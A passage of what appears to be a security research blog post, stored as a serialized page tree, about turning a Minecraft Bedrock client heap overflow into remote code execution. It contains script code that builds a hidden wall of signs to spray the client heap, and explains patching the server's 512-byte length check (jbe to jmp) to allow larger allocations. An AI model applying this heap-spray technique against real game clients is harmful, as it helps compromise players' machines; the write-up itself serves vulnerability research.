149101}," create_wall",{"type":20,"tag":315,"props":149103,"children":149104},{"style":328},[149105],{"type":26,"value":14137},{"type":20,"tag":315,"props":149107,"children":149108},{"class":317,"line":374},[149109,149114,149118],{"type":20,"tag":315,"props":149110,"children":149111},{"style":635},[149112],{"type":26,"value":149113}," signs",{"type":20,"tag":315,"props":149115,"children":149116},{"style":334},[149117],{"type":26,"value":1395},{"type":20,"tag":315,"props":149119,"children":149120},{"style":328},[149121],{"type":26,"value":149122}," [];\n",{"type":20,"tag":315,"props":149124,"children":149125},{"class":317,"line":383},[149126],{"type":20,"tag":315,"props":149127,"children":149128},{"emptyLinePlaceholder":15},[149129],{"type":26,"value":427},{"type":20,"tag":315,"props":149131,"children":149132},{"class":317,"line":407},[149133,149137,149141,149145,149150,149154,149158,149162,149167,149171,149176,149180,149184,149188],{"type":20,"tag":315,"props":149134,"children":149135},{"style":525},[149136],{"type":26,"value":1413},{"type":20,"tag":315,"props":149138,"children":149139},{"style":328},[149140],{"type":26,"value":463},{"type":20,"tag":315,"props":149142,"children":149143},{"style":541},[149144],{"type":26,"value":10188},{"type":20,"tag":315,"props":149146,"children":149147},{"style":635},[149148],{"type":26,"value":149149}," current_y",{"type":20,"tag":315,"props":149151,"children":149152},{"style":334},[149153],{"type":26,"value":1395},{"type":20,"tag":315,"props":149155,"children":149156},{"style":765},[149157],{"type":26,"value":985},{"type":20,"tag":315,"props":149159,"children":149160},{"style":328},[149161],{"type":26,"value":15629},{"type":20,"tag":315,"props":149163,"children":149164},{"style":635},[149165],{"type":26,"value":149166},"current_y",{"type":20,"tag":315,"props":149168,"children":149169},{"style":334},[149170],{"type":26,"value":7115},{"type":20,"tag":315,"props":149172,"children":149173},{"style":635},[149174],{"type":26,"value":149175}," WALL_HEIGHT",{"type":20,"tag":315,"props":149177,"children":149178},{"style":328},[149179],{"type":26,"value":15629},{"type":20,"tag":315,"props":149181,"children":149182},{"style":635},[149183],{"type":26,"value":149166},{"type":20,"tag":315,"props":149185,"children":149186},{"style":334},[149187],{"type":26,"value":49521},{"type":20,"tag":315,"props":149189,"children":149190},{"style":328},[149191],{"type":26,"value":549},{"type":20,"tag":315,"props":149193,"children":149194},{"class":317,"line":421},[149195,149199,149203,149207,149212,149216,149220,149224,149229,149233,149238,149242,149246,149250],{"type":20,"tag":315,"props":149196,"children":149197},{"style":525},[149198],{"type":26,"value":58830},{"type":20,"tag":315,"props":149200,"children":149201},{"style":328},[149202],{"type":26,"value":463},{"type":20,"tag":315,"props":149204,"children":149205},{"style":541},[149206],{"type":26,"value":10188},{"type":20,"tag":315,"props":149208,"children":149209},{"style":635},[149210],{"type":26,"value":149211}," current_x",{"type":20,"tag":315,"props":149213,"children":149214},{"style":334},[149215],{"type":26,"value":1395},{"type":20,"tag":315,"props":149217,"children":149218},{"style":765},[149219],{"type":26,"value":985},{"type":20,"tag":315,"props":149221,"children":149222},{"style":328},[149223],{"type":26,"value":15629},{"type":20,"tag":315,"props":149225,"children":149226},{"style":635},[149227],{"type":26,"value":149228},"current_x",{"type":20,"tag":315,"props":149230,"children":149231},{"style":334},[149232],{"type":26,"value":7115},{"type":20,"tag":315,"props":149234,"children":149235},{"style":635},[149236],{"type":26,"value":149237}," WALL_WIDTH",{"type":20,"tag":315,"props":149239,"children":149240},{"style":328},[149241],{"type":26,"value":15629},{"type":20,"tag":315,"props":149243,"children":149244},{"style":635},[149245],{"type":26,"value":149228},{"type":20,"tag":315,"props":149247,"children":149248},{"style":334},[149249],{"type":26,"value":49521},{"type":20,"tag":315,"props":149251,"children":149252},{"style":328},[149253],{"type":26,"value":549},{"type":20,"tag":315,"props":149255,"children":149256},{"class":317,"line":430},[149257],{"type":20,"tag":315,"props":149258,"children":149259},{"emptyLinePlaceholder":15},[149260],{"type":26,"value":427},{"type":20,"tag":315,"props":149262,"children":149263},{"class":317,"line":453},[149264,149269,149273],{"type":20,"tag":315,"props":149265,"children":149266},{"style":328},[149267],{"type":26,"value":149268}," [",{"type":20,"tag":315,"props":149270,"children":149271},{"style":334},[149272],{"type":26,"value":7990},{"type":20,"tag":315,"props":149274,"children":149275},{"style":328},[149276],{"type":26,"value":10173},{"type":20,"tag":315,"props":149278,"children":149279},{"class":317,"line":486},[149280],{"type":20,"tag":315,"props":149281,"children":149282},{"style":328},[149283],{"type":26,"value":149284}," \n",{"type":20,"tag":315,"props":149286,"children":149287},{"class":317,"line":499},[149288,149293,149298,149302],{"type":20,"tag":315,"props":149289,"children":149290},{"style":541},[149291],{"type":26,"value":149292}," const",{"type":20,"tag":315,"props":149294,"children":149295},{"style":635},[149296],{"type":26,"value":149297}," sign_block",{"type":20,"tag":315,"props":149299,"children":149300},{"style":334},[149301],{"type":26,"value":1395},{"type":20,"tag":315,"props":149303,"children":149304},{"style":635},[149305],{"type":26,"value":149306}," world\n",{"type":20,"tag":315,"props":149308,"children":149309},{"class":317,"line":513},[149310,149315,149320,149324,149329],{"type":20,"tag":315,"props":149311,"children":149312},{"style":328},[149313],{"type":26,"value":149314}," .",{"type":20,"tag":315,"props":149316,"children":149317},{"style":345},[149318],{"type":26,"value":149319},"getDimension",{"type":20,"tag":315,"props":149321,"children":149322},{"style":328},[149323],{"type":26,"value":1049},{"type":20,"tag":315,"props":149325,"children":149326},{"style":2652},[149327],{"type":26,"value":149328},"\"overworld\"",{"type":20,"tag":315,"props":149330,"children":149331},{"style":328},[149332],{"type":26,"value":380},{"type":20,"tag":315,"props":149334,"children":149335},{"class":317,"line":521},[149336,149340,149345,149349,149354],{"type":20,"tag":315,"props":149337,"children":149338},{"style":328},[149339],{"type":26,"value":149314},{"type":20,"tag":315,"props":149341,"children":149342},{"style":345},[149343],{"type":26,"value":149344},"getBlock",{"type":20,"tag":315,"props":149346,"children":149347},{"style":328},[149348],{"type":26,"value":1049},{"type":20,"tag":315,"props":149350,"children":149351},{"style":635},[149352],{"type":26,"value":149353},"sign_location",{"type":20,"tag":315,"props":149355,"children":149356},{"style":328},[149357],{"type":26,"value":2214},{"type":20,"tag":315,"props":149359,"children":149360},{"class":317,"line":552},[149361,149366,149370,149374],{"type":20,"tag":315,"props":149362,"children":149363},{"style":635},[149364],{"type":26,"value":149365}," sign_block",{"type":20,"tag":315,"props":149367,"children":149368},{"style":328},[149369],{"type":26,"value":61},{"type":20,"tag":315,"props":149371,"children":149372},{"style":345},[149373],{"type":26,"value":148972},{"type":20,"tag":315,"props":149375,"children":149376},{"style":328},[149377],{"type":26,"value":353},{"type":20,"tag":315,"props":149379,"children":149380},{"class":317,"line":571},[149381,149386,149390,149394,149398,149403],{"type":20,"tag":315,"props":149382,"children":149383},{"style":635},[149384],{"type":26,"value":149385}," BlockPermutation",{"type":20,"tag":315,"props":149387,"children":149388},{"style":328},[149389],{"type":26,"value":61},{"type":20,"tag":315,"props":149391,"children":149392},{"style":345},[149393],{"type":26,"value":148993},{"type":20,"tag":315,"props":149395,"children":149396},{"style":328},[149397],{"type":26,"value":1049},{"type":20,"tag":315,"props":149399,"children":149400},{"style":2652},[149401],{"type":26,"value":149402},"\"minecraft:wall_sign\"",{"type":20,"tag":315,"props":149404,"children":149405},{"style":328},[149406],{"type":26,"value":47133},{"type":20,"tag":315,"props":149408,"children":149409},{"class":317,"line":2031},[149410,149415],{"type":20,"tag":315,"props":149411,"children":149412},{"style":635},[149413],{"type":26,"value":149414}," facing_direction:",{"type":20,"tag":315,"props":149416,"children":149417},{"style":765},[149418],{"type":26,"value":17731},{"type":20,"tag":315,"props":149420,"children":149421},{"class":317,"line":2053},[149422],{"type":20,"tag":315,"props":149423,"children":149424},{"style":328},[149425],{"type":26,"value":69327},{"type":20,"tag":315,"props":149427,"children":149428},{"class":317,"line":2061},[149429],{"type":20,"tag":315,"props":149430,"children":149431},{"style":328},[149432],{"type":26,"value":149433}," ));\n",{"type":20,"tag":315,"props":149435,"children":149436},{"class":317,"line":2070},[149437,149442,149447,149451],{"type":20,"tag":315,"props":149438,"children":149439},{"style":541},[149440],{"type":26,"value":149441}," let",{"type":20,"tag":315,"props":149443,"children":149444},{"style":635},[149445],{"type":26,"value":149446}," sign_component",{"type":20,"tag":315,"props":149448,"children":149449},{"style":334},[149450],{"type":26,"value":1395},{"type":20,"tag":315,"props":149452,"children":149453},{"style":635},[149454],{"type":26,"value":149455}," sign_block\n",{"type":20,"tag":315,"props":149457,"children":149458},{"class":317,"line":2139},[149459,149463,149468,149472,149477,149481,149486],{"type":20,"tag":315,"props":149460,"children":149461},{"style":328},[149462],{"type":26,"value":149314},{"type":20,"tag":315,"props":149464,"children":149465},{"style":345},[149466],{"type":26,"value":149467},"getComponent",{"type":20,"tag":315,"props":149469,"children":149470},{"style":328},[149471],{"type":26,"value":1049},{"type":20,"tag":315,"props":149473,"children":149474},{"style":635},[149475],{"type":26,"value":149476},"BlockComponentTypes",{"type":20,"tag":315,"props":149478,"children":149479},{"style":328},[149480],{"type":26,"value":61},{"type":20,"tag":315,"props":149482,"children":149483},{"style":635},[149484],{"type":26,"value":149485},"Sign",{"type":20,"tag":315,"props":149487,"children":149488},{"style":328},[149489],{"type":26,"value":2214},{"type":20,"tag":315,"props":149491,"children":149492},{"class":317,"line":2147},[149493],{"type":20,"tag":315,"props":149494,"children":149495},{"emptyLinePlaceholder":15},[149496],{"type":26,"value":427},{"type":20,"tag":315,"props":149498,"children":149499},{"class":317,"line":2177},[149500,149505,149509,149513],{"type":20,"tag":315,"props":149501,"children":149502},{"style":635},[149503],{"type":26,"value":149504}," signs",{"type":20,"tag":315,"props":149506,"children":149507},{"style":328},[149508],{"type":26,"value":61},{"type":20,"tag":315,"props":149510,"children":149511},{"style":345},[149512],{"type":26,"value":2200},{"type":20,"tag":315,"props":149514,"children":149515},{"style":328},[149516],{"type":26,"value":13541},{"type":20,"tag":315,"props":149518,"children":149519},{"class":317,"line":2185},[149520,149525,149529],{"type":20,"tag":315,"props":149521,"children":149522},{"style":635},[149523],{"type":26,"value":149524}," sign:",{"type":20,"tag":315,"props":149526,"children":149527},{"style":635},[149528],{"type":26,"value":149446},{"type":20,"tag":315,"props":149530,"children":149531},{"style":328},[149532],{"type":26,"value":643},{"type":20,"tag":315,"props":149534,"children":149535},{"class":317,"line":2217},[149536,149541,149545],{"type":20,"tag":315,"props":149537,"children":149538},{"style":635},[149539],{"type":26,"value":149540}," allocated:",{"type":20,"tag":315,"props":149542,"children":149543},{"style":541},[149544],{"type":26,"value":7455},{"type":20,"tag":315,"props":149546,"children":149547},{"style":328},[149548],{"type":26,"value":643},{"type":20,"tag":315,"props":149550,"children":149551},{"class":317,"line":2225},[149552,149557,149561],{"type":20,"tag":315,"props":149553,"children":149554},{"style":635},[149555],{"type":26,"value":149556}," block:",{"type":20,"tag":315,"props":149558,"children":149559},{"style":635},[149560],{"type":26,"value":149297},{"type":20,"tag":315,"props":149562,"children":149563},{"style":328},[149564],{"type":26,"value":643},{"type":20,"tag":315,"props":149566,"children":149567},{"class":317,"line":2285},[149568,149573],{"type":20,"tag":315,"props":149569,"children":149570},{"style":635},[149571],{"type":26,"value":149572}," removed:",{"type":20,"tag":315,"props":149574,"children":149575},{"style":541},[149576],{"type":26,"value":10712},{"type":20,"tag":315,"props":149578,"children":149579},{"class":317,"line":7444},[149580],{"type":20,"tag":315,"props":149581,"children":149582},{"style":328},[149583],{"type":26,"value":149584}," });\n",{"type":20,"tag":315,"props":149586,"children":149587},{"class":317,"line":7462},[149588],{"type":20,"tag":315,"props":149589,"children":149590},{"style":328},[149591],{"type":26,"value":1728},{"type":20,"tag":315,"props":149593,"children":149594},{"class":317,"line":7507},[149595],{"type":20,"tag":315,"props":149596,"children":149597},{"style":328},[149598],{"type":26,"value":1736},{"type":20,"tag":315,"props":149600,"children":149601},{"class":317,"line":7613},[149602],{"type":20,"tag":315,"props":149603,"children":149604},{"style":328},[149605],{"type":26,"value":577},{"type":20,"tag":315,"props":149607,"children":149608},{"class":317,"line":21914},[149609],{"type":20,"tag":315,"props":149610,"children":149611},{"emptyLinePlaceholder":15},[149612],{"type":26,"value":427},{"type":20,"tag":315,"props":149614,"children":149615},{"class":317,"line":21949},[149616,149620,149625],{"type":20,"tag":315,"props":149617,"children":149618},{"style":541},[149619],{"type":26,"value":615},{"type":20,"tag":315,"props":149621,"children":149622},{"style":345},[149623],{"type":26,"value":149624}," remove_wall",{"type":20,"tag":315,"props":149626,"children":149627},{"style":328},[149628],{"type":26,"value":14137},{"type":20,"tag":315,"props":149630,"children":149631},{"class":317,"line":21957},[149632,149636,149640],{"type":20,"tag":315,"props":149633,"children":149634},{"style":635},[149635],{"type":26,"value":149113},{"type":20,"tag":315,"props":149637,"children":149638},{"style":334},[149639],{"type":26,"value":1395},{"type":20,"tag":315,"props":149641,"children":149642},{"style":328},[149643],{"type":26,"value":149122},{"type":20,"tag":315,"props":149645,"children":149646},{"class":317,"line":21965},[149647],{"type":20,"tag":315,"props":149648,"children":149649},{"style":328},[149650],{"type":26,"value":60040},{"type":20,"tag":315,"props":149652,"children":149653},{"class":317,"line":21974},[149654,149658,149662,149666,149670,149674,149678,149682,149686,149690,149694,149698,149702,149706],{"type":20,"tag":315,"props":149655,"children":149656},{"style":525},[149657],{"type":26,"value":1413},{"type":20,"tag":315,"props":149659,"children":149660},{"style":328},[149661],{"type":26,"value":463},{"type":20,"tag":315,"props":149663,"children":149664},{"style":541},[149665],{"type":26,"value":10188},{"type":20,"tag":315,"props":149667,"children":149668},{"style":635},[149669],{"type":26,"value":149149},{"type":20,"tag":315,"props":149671,"children":149672},{"style":334},[149673],{"type":26,"value":1395},{"type":20,"tag":315,"props":149675,"children":149676},{"style":765},[149677],{"type":26,"value":985},{"type":20,"tag":315,"props":149679,"children":149680},{"style":328},[149681],{"type":26,"value":15629},{"type":20,"tag":315,"props":149683,"children":149684},{"style":635},[149685],{"type":26,"value":149166},{"type":20,"tag":315,"props":149687,"children":149688},{"style":334},[149689],{"type":26,"value":7115},{"type":20,"tag":315,"props":149691,"children":149692},{"style":635},[149693],{"type":26,"value":149175},{"type":20,"tag":315,"props":149695,"children":149696},{"style":328},[149697],{"type":26,"value":15629},{"type":20,"tag":315,"props":149699,"children":149700},{"style":635},[149701],{"type":26,"value":149166},{"type":20,"tag":315,"props":149703,"children":149704},{"style":334},[149705],{"type":26,"value":49521},{"type":20,"tag":315,"props":149707,"children":149708},{"style":328},[149709],{"type":26,"value":549},{"type":20,"tag":315,"props":149711,"children":149712},{"class":317,"line":22016},[149713,149717,149721,149725,149729,149733,149737,149741,149745,149749,149753,149757,149761,149765],{"type":20,"tag":315,"props":149714,"children":149715},{"style":525},[149716],{"type":26,"value":58830},{"type":20,"tag":315,"props":149718,"children":149719},{"style":328},[149720],{"type":26,"value":463},{"type":20,"tag":315,"props":149722,"children":149723},{"style":541},[149724],{"type":26,"value":10188},{"type":20,"tag":315,"props":149726,"children":149727},{"style":635},[149728],{"type":26,"value":149211},{"type":20,"tag":315,"props":149730,"children":149731},{"style":334},[149732],{"type":26,"value":1395},{"type":20,"tag":315,"props":149734,"children":149735},{"style":765},[149736],{"type":26,"value":985},{"type":20,"tag":315,"props":149738,"children":149739},{"style":328},[149740],{"type":26,"value":15629},{"type":20,"tag":315,"props":149742,"children":149743},{"style":635},[149744],{"type":26,"value":149228},{"type":20,"tag":315,"props":149746,"children":149747},{"style":334},[149748],{"type":26,"value":7115},{"type":20,"tag":315,"props":149750,"children":149751},{"style":635},[149752],{"type":26,"value":149237},{"type":20,"tag":315,"props":149754,"children":149755},{"style":328},[149756],{"type":26,"value":15629},{"type":20,"tag":315,"props":149758,"children":149759},{"style":635},[149760],{"type":26,"value":149228},{"type":20,"tag":315,"props":149762,"children":149763},{"style":334},[149764],{"type":26,"value":49521},{"type":20,"tag":315,"props":149766,"children":149767},{"style":328},[149768],{"type":26,"value":549},{"type":20,"tag":315,"props":149770,"children":149771},{"class":317,"line":22049},[149772],{"type":20,"tag":315,"props":149773,"children":149774},{"style":328},[149775],{"type":26,"value":149284},{"type":20,"tag":315,"props":149777,"children":149778},{"class":317,"line":22057},[149779,149783,149787],{"type":20,"tag":315,"props":149780,"children":149781},{"style":328},[149782],{"type":26,"value":149268},{"type":20,"tag":315,"props":149784,"children":149785},{"style":334},[149786],{"type":26,"value":7990},{"type":20,"tag":315,"props":149788,"children":149789},{"style":328},[149790],{"type":26,"value":10173},{"type":20,"tag":315,"props":149792,"children":149793},{"class":317,"line":22065},[149794],{"type":20,"tag":315,"props":149795,"children":149796},{"style":328},[149797],{"type":26,"value":149798}," \n",{"type":20,"tag":315,"props":149800,"children":149801},{"class":317,"line":22074},[149802,149806,149810,149814,149818,149823],{"type":20,"tag":315,"props":149803,"children":149804},{"style":541},[149805],{"type":26,"value":149292},{"type":20,"tag":315,"props":149807,"children":149808},{"style":635},[149809],{"type":26,"value":149297},{"type":20,"tag":315,"props":149811,"children":149812},{"style":334},[149813],{"type":26,"value":1395},{"type":20,"tag":315,"props":149815,"children":149816},{"style":525},[149817],{"type":26,"value":34627},{"type":20,"tag":315,"props":149819,"children":149820},{"style":345},[149821],{"type":26,"value":149822}," wait_for_block",{"type":20,"tag":315,"props":149824,"children":149825},{"style":328},[149826],{"type":26,"value":353},{"type":20,"tag":315,"props":149828,"children":149829},{"class":317,"line":22150},[149830,149835,149839,149843,149847,149851],{"type":20,"tag":315,"props":149831,"children":149832},{"style":635},[149833],{"type":26,"value":149834}," world",{"type":20,"tag":315,"props":149836,"children":149837},{"style":328},[149838],{"type":26,"value":61},{"type":20,"tag":315,"props":149840,"children":149841},{"style":345},[149842],{"type":26,"value":149319},{"type":20,"tag":315,"props":149844,"children":149845},{"style":328},[149846],{"type":26,"value":1049},{"type":20,"tag":315,"props":149848,"children":149849},{"style":2652},[149850],{"type":26,"value":149328},{"type":20,"tag":315,"props":149852,"children":149853},{"style":328},[149854],{"type":26,"value":5131},{"type":20,"tag":315,"props":149856,"children":149857},{"class":317,"line":22183},[149858],{"type":20,"tag":315,"props":149859,"children":149860},{"style":635},[149861],{"type":26,"value":149862}," sign_location\n",{"type":20,"tag":315,"props":149864,"children":149865},{"class":317,"line":22191},[149866],{"type":20,"tag":315,"props":149867,"children":149868},{"style":328},[149869],{"type":26,"value":123372},{"type":20,"tag":315,"props":149871,"children":149872},{"class":317,"line":22199},[149873,149877,149881,149885],{"type":20,"tag":315,"props":149874,"children":149875},{"style":635},[149876],{"type":26,"value":149365},{"type":20,"tag":315,"props":149878,"children":149879},{"style":328},[149880],{"type":26,"value":61},{"type":20,"tag":315,"props":149882,"children":149883},{"style":345},[149884],{"type":26,"value":148972},{"type":20,"tag":315,"props":149886,"children":149887},{"style":328},[149888],{"type":26,"value":353},{"type":20,"tag":315,"props":149890,"children":149891},{"class":317,"line":22236},[149892,149896,149900,149904,149908,149912],{"type":20,"tag":315,"props":149893,"children":149894},{"style":635},[149895],{"type":26,"value":149385},{"type":20,"tag":315,"props":149897,"children":149898},{"style":328},[149899],{"type":26,"value":61},{"type":20,"tag":315,"props":149901,"children":149902},{"style":345},[149903],{"type":26,"value":148993},{"type":20,"tag":315,"props":149905,"children":149906},{"style":328},[149907],{"type":26,"value":1049},{"type":20,"tag":315,"props":149909,"children":149910},{"style":2652},[149911],{"type":26,"value":149002},{"type":20,"tag":315,"props":149913,"children":149914},{"style":328},[149915],{"type":26,"value":380},{"type":20,"tag":315,"props":149917,"children":149918},{"class":317,"line":22249},[149919],{"type":20,"tag":315,"props":149920,"children":149921},{"style":328},[149922],{"type":26,"value":123372},{"type":20,"tag":315,"props":149924,"children":149925},{"class":317,"line":22262},[149926],{"type":20,"tag":315,"props":149927,"children":149928},{"emptyLinePlaceholder":15},[149929],{"type":26,"value":427},{"type":20,"tag":315,"props":149931,"children":149932},{"class":317,"line":22275},[149933,149937,149941],{"type":20,"tag":315,"props":149934,"children":149935},{"style":328},[149936],{"type":26,"value":149268},{"type":20,"tag":315,"props":149938,"children":149939},{"style":334},[149940],{"type":26,"value":7990},{"type":20,"tag":315,"props":149942,"children":149943},{"style":328},[149944],{"type":26,"value":10173},{"type":20,"tag":315,"props":149946,"children":149947},{"class":317,"line":22329},[149948],{"type":20,"tag":315,"props":149949,"children":149950},{"style":328},[149951],{"type":26,"value":1728},{"type":20,"tag":315,"props":149953,"children":149954},{"class":317,"line":22338},[149955],{"type":20,"tag":315,"props":149956,"children":149957},{"style":328},[149958],{"type":26,"value":1736},{"type":20,"tag":315,"props":149960,"children":149961},{"class":317,"line":30696},[149962],{"type":20,"tag":315,"props":149963,"children":149964},{"style":328},[149965],{"type":26,"value":577},{"type":20,"tag":315,"props":149967,"children":149968},{"class":317,"line":30717},[149969],{"type":20,"tag":315,"props":149970,"children":149971},{"emptyLinePlaceholder":15},[149972],{"type":26,"value":427},{"type":20,"tag":315,"props":149974,"children":149975},{"class":317,"line":79209},[149976,149981,149985,149990,149994,149999,150003,150008,150012,150017,150021,150025],{"type":20,"tag":315,"props":149977,"children":149978},{"style":635},[149979],{"type":26,"value":149980},"world",{"type":20,"tag":315,"props":149982,"children":149983},{"style":328},[149984],{"type":26,"value":61},{"type":20,"tag":315,"props":149986,"children":149987},{"style":635},[149988],{"type":26,"value":149989},"afterEvents",{"type":20,"tag":315,"props":149991,"children":149992},{"style":328},[149993],{"type":26,"value":61},{"type":20,"tag":315,"props":149995,"children":149996},{"style":635},[149997],{"type":26,"value":149998},"playerSpawn",{"type":20,"tag":315,"props":150000,"children":150001},{"style":328},[150002],{"type":26,"value":61},{"type":20,"tag":315,"props":150004,"children":150005},{"style":345},[150006],{"type":26,"value":150007},"subscribe",{"type":20,"tag":315,"props":150009,"children":150010},{"style":328},[150011],{"type":26,"value":29938},{"type":20,"tag":315,"props":150013,"children":150014},{"style":635},[150015],{"type":26,"value":150016},"arg",{"type":20,"tag":315,"props":150018,"children":150019},{"style":328},[150020],{"type":26,"value":1468},{"type":20,"tag":315,"props":150022,"children":150023},{"style":541},[150024],{"type":26,"value":13222},{"type":20,"tag":315,"props":150026,"children":150027},{"style":328},[150028],{"type":26,"value":1092},{"type":20,"tag":315,"props":150030,"children":150031},{"class":317,"line":79222},[150032,150037],{"type":20,"tag":315,"props":150033,"children":150034},{"style":345},[150035],{"type":26,"value":150036}," create_wall",{"type":20,"tag":315,"props":150038,"children":150039},{"style":328},[150040],{"type":26,"value":568},{"type":20,"tag":315,"props":150042,"children":150043},{"class":317,"line":79230},[150044],{"type":20,"tag":315,"props":150045,"children":150046},{"style":328},[150047],{"type":26,"value":33753},{"type":20,"tag":315,"props":150049,"children":150050},{"class":317,"line":79238},[150051],{"type":20,"tag":315,"props":150052,"children":150053},{"emptyLinePlaceholder":15},[150054],{"type":26,"value":427},{"type":20,"tag":315,"props":150056,"children":150057},{"class":317,"line":79246},[150058,150062,150066,150071,150075,150080,150084,150088,150092,150096,150100,150104,150108,150112],{"type":20,"tag":315,"props":150059,"children":150060},{"style":635},[150061],{"type":26,"value":149980},{"type":20,"tag":315,"props":150063,"children":150064},{"style":328},[150065],{"type":26,"value":61},{"type":20,"tag":315,"props":150067,"children":150068},{"style":635},[150069],{"type":26,"value":150070},"beforeEvents",{"type":20,"tag":315,"props":150072,"children":150073},{"style":328},[150074],{"type":26,"value":61},{"type":20,"tag":315,"props":150076,"children":150077},{"style":635},[150078],{"type":26,"value":150079},"playerLeave",{"type":20,"tag":315,"props":150081,"children":150082},{"style":328},[150083],{"type":26,"value":61},{"type":20,"tag":315,"props":150085,"children":150086},{"style":345},[150087],{"type":26,"value":150007},{"type":20,"tag":315,"props":150089,"children":150090},{"style":328},[150091],{"type":26,"value":1049},{"type":20,"tag":315,"props":150093,"children":150094},{"style":541},[150095],{"type":26,"value":34561},{"type":20,"tag":315,"props":150097,"children":150098},{"style":328},[150099],{"type":26,"value":463},{"type":20,"tag":315,"props":150101,"children":150102},{"style":635},[150103],{"type":26,"value":150016},{"type":20,"tag":315,"props":150105,"children":150106},{"style":328},[150107],{"type":26,"value":1468},{"type":20,"tag":315,"props":150109,"children":150110},{"style":541},[150111],{"type":26,"value":13222},{"type":20,"tag":315,"props":150113,"children":150114},{"style":328},[150115],{"type":26,"value":1092},{"type":20,"tag":315,"props":150117,"children":150118},{"class":317,"line":79286},[150119,150124],{"type":20,"tag":315,"props":150120,"children":150121},{"style":345},[150122],{"type":26,"value":150123}," remove_wall",{"type":20,"tag":315,"props":150125,"children":150126},{"style":328},[150127],{"type":26,"value":568},{"type":20,"tag":315,"props":150129,"children":150130},{"class":317,"line":79294},[150131],{"type":20,"tag":315,"props":150132,"children":150133},{"style":328},[150134],{"type":26,"value":33753},{"type":20,"tag":29,"props":150136,"children":150137},{},[150138],{"type":26,"value":150139},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":20,"tag":29,"props":150141,"children":150142},{},[150143],{"type":20,"tag":2308,"props":150144,"children":150147},{"alt":150145,"src":150146},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":20,"tag":29,"props":150149,"children":150150},{},[150151],{"type":26,"value":150152},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":20,"tag":17297,"props":150154,"children":150156},{"id":150155},"a-small-roadblock",[150157],{"type":26,"value":150158},"A Small Roadblock",{"type":20,"tag":29,"props":150160,"children":150161},{},[150162],{"type":26,"value":150163},"While testing our heap spray method, we encountered the following error:",{"type":20,"tag":305,"props":150165,"children":150167},{"code":150166},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n at alloc (index.js:169)\n",[150168],{"type":20,"tag":119,"props":150169,"children":150170},{"__ignoreMap":7},[150171],{"type":26,"value":150166},{"type":20,"tag":29,"props":150173,"children":150174},{},[150175,150177,150183],{"type":26,"value":150176},"An error is thrown by the server executable while trying to assign text longer than ",{"type":20,"tag":119,"props":150178,"children":150180},{"className":150179},[],[150181],{"type":26,"value":150182},"512",{"type":26,"value":150184}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":20,"tag":29,"props":150186,"children":150187},{},[150188],{"type":26,"value":150189},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":20,"tag":29,"props":150191,"children":150192},{},[150193],{"type":26,"value":150194},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":20,"tag":29,"props":150196,"children":150197},{},[150198],{"type":20,"tag":2308,"props":150199,"children":150201},{"alt":48830,"src":150200},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":20,"tag":29,"props":150203,"children":150204},{},[150205,150207,150213],{"type":26,"value":150206},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":20,"tag":119,"props":150208,"children":150210},{"className":150209},[],[150211],{"type":26,"value":150212},"string_length \u003C= 512",{"type":26,"value":150214}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":20,"tag":29,"props":150216,"children":150217},{},[150218],{"type":26,"value":150219},"The disassembly of the comparison looks like this:",{"type":20,"tag":29,"props":150221,"children":150222},{},[150223],{"type":20,"tag":2308,"props":150224,"children":150226},{"alt":48830,"src":150225},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":20,"tag":29,"props":150228,"children":150229},{},[150230,150232,150237,150239,150244,150245,150250,150252,150258,150260,150266,150268,150273,150275,150280],{"type":26,"value":150231},"The code compares ",{"type":20,"tag":119,"props":150233,"children":150235},{"className":150234},[],[150236],{"type":26,"value":55027},{"type":26,"value":150238}," (the string length) to ",{"type":20,"tag":119,"props":150240,"children":150242},{"className":150241},[],[150243],{"type":26,"value":126072},{"type":26,"value":463},{"type":20,"tag":119,"props":150246,"children":150248},{"className":150247},[],[150249],{"type":26,"value":150182},{"type":26,"value":150251}," decimal). It then performs a ",{"type":20,"tag":119,"props":150253,"children":150255},{"className":150254},[],[150256],{"type":26,"value":150257},"jbe",{"type":26,"value":150259},", jumping to address ",{"type":20,"tag":119,"props":150261,"children":150263},{"className":150262},[],[150264],{"type":26,"value":150265},"0x14275114c",{"type":26,"value":150267}," if ",{"type":20,"tag":119,"props":150269,"children":150271},{"className":150270},[],[150272],{"type":26,"value":55027},{"type":26,"value":150274}," is less than or equal to ",{"type":20,"tag":119,"props":150276,"children":150278},{"className":150277},[],[150279],{"type":26,"value":150182},{"type":26,"value":150281},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":20,"tag":29,"props":150283,"children":150284},{},[150285,150287,150292,150294,150300],{"type":26,"value":150286},"To force execution down this path, we patched the ",{"type":20,"tag":119,"props":150288,"children":150290},{"className":150289},[],[150291],{"type":26,"value":150257},{"type":26,"value":150293}," instruction to an unconditional ",{"type":20,"tag":119,"props":150295,"children":150297},{"className":150296},[],[150298],{"type":26,"value":150299},"jmp",{"type":26,"value":150301},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":20,"tag":29,"props":150303,"children":150304},{},[150305],{"type":20,"tag":2308,"props":150306,"children":150308},{"alt":48830,"src":150307},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":20,"tag":29,"props":150310,"children":150311},{},[150312,150314,150319,150321,150326],{"type":26,"value":150313},"After patching the server and calling ",{"type":20,"tag":119,"props":150315,"children":150317},{"className":150316},[],[150318],{"type":26,"value":148423},{"type":26,"value":150320}," with a size of ",{"type":20,"tag":119,"props":150322,"children":150324},{"className":150323},[],[150325],{"type":26,"value":56401},{"type":26,"value":150327},", the operation now executes successfully, and the client happily allocates a chunk of that 